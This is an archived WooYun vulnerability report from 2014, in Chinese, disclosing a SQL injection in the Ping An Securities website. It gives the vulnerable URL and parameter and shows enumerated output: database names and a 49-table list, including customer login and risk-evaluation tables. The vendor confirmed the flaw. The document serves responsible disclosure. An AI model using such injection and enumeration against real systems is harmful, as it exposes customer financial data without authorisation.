漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-058444
漏洞标题：平安证券官网SQL注入可出数据
相关厂商：中国平安保险（集团）股份有限公司
漏洞作者： 路人甲
提交时间：2014-04-25 16:13
修复时间：2014-06-09 16:14
公开时间：2014-06-09 16:14
漏洞类型：SQL注射漏洞
危害等级：低
自评Rank：3
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-25： 细节已通知厂商并且等待厂商处理中
2014-04-30： 厂商已经确认，细节仅向厂商公开
2014-05-10： 细节向核心白帽子及相关领域专家公开
2014-05-20： 细节向普通白帽子公开
2014-05-30： 细节向实习白帽子公开
2014-06-09： 细节向公众公开
简要描述：
偶尔看到 随手测试了下·
虽说是简单的SQL 毕竟是证券 涉及到数据也不太好吧··
详细说明：
GET http://stock.pingan.com/jijinchaoshi/jijinxinwen/jijinnewinfo.iface?id=447239135223
available databases [8]:
[*] DBMGR
[*] DBQUA
[*] FOGLIGHT
[*] LBACSYS
[*] SISFWDATA
[*] SYS
[*] SYSTEM
[*] TOAD
Database: SISFWDATA
[49 tables]
+------------------------------+
| FST_INF_ANNOUNCEMENT |
| FST_INF_ASSETALLOCATION |
| FST_INF_CHARGERATE |
| FST_INF_DAILYQUOTE |
| FST_INF_DIVIDEND |
| FST_INF_FUNDARCHIVES |
| FST_INF_FUNDMANAGER |
| FST_INF_FUNDNEWS |
| FST_INF_INDUSTRY |
| FST_INF_INVESTADVISOROUTLINE |
| FST_INF_INVESTINDUSTRY |
| FST_INF_KEYSTOCKPORTFOLIO |
| FST_INF_NETVALUEPERFORMANCE |
| FST_INF_SECUMAIN |
| FST_INF_SHARESCHANGE |
| FST_INF_TRUSTEEOUTLINE |
| FST_JX_ANNOUNCEMENTTYPE |
| FST_JX_BASELINEYIELD |
| FST_JX_COMPANYABILITY |
| FST_JX_COMPANYABILITYRANK |
| FST_JX_COMPANYABILITYSTAR |
| FST_JX_COMPANYINDEX |
| FST_JX_CUSTOMEVALUATE |
| FST_JX_FQNVYIELD |
| FST_JX_FUNDABILITY |
| FST_JX_FUNDABILITYRANK |
| FST_JX_FUNDABILITYSTAR |
| FST_JX_FUNDINDEX |
| FST_JX_FUNDINSIDEINDEX |
| FST_JX_MANAGERABILITY |
| FST_JX_MANAGERABILITYRANK |
| FST_JX_MANAGERABILITYSTAR |
| FST_JX_MANAGERINDEX |
| FST_JX_MULTIRISK |
| FST_JX_POLICYPARAMADDRANGE |
| FST_JX_STOCKSTYLE |
| FST_JX_SXNETVALUE |
| FST_PAR_FUNDCATEGORYMASTE |
| FST_PAR_FUNDTOCATEGORY |
| FST_PAR_RISKINDEX |
| FST_PA_BANKFUNDTRANSSTATUS |
| FST_PA_CUSTOMANSWER |
| FST_PA_CUSTOMLOGIN |
| FST_PA_CUSTOMRISKGRADE |
| FST_PA_FUNDTRANSSTATUS |
| FST_PA_NEWFUND |
| FST_PA_RECOMMENDFUND |
| FST_PA_RISKEVALANSWER |
| FST_PA_RISKEVALQUESTION |
+------------------------------+
·未深入·
漏洞证明：
如上
修复方案：
简单
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-04-30 09:02
厂商回复：
已安排对漏洞进行修复的计划
最新状态：
暂无
漏洞评价：
评论
-
尼玛。官网....这安全评估是哪个厂商做的啊？ 出来走两步啊>..走两步....
( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)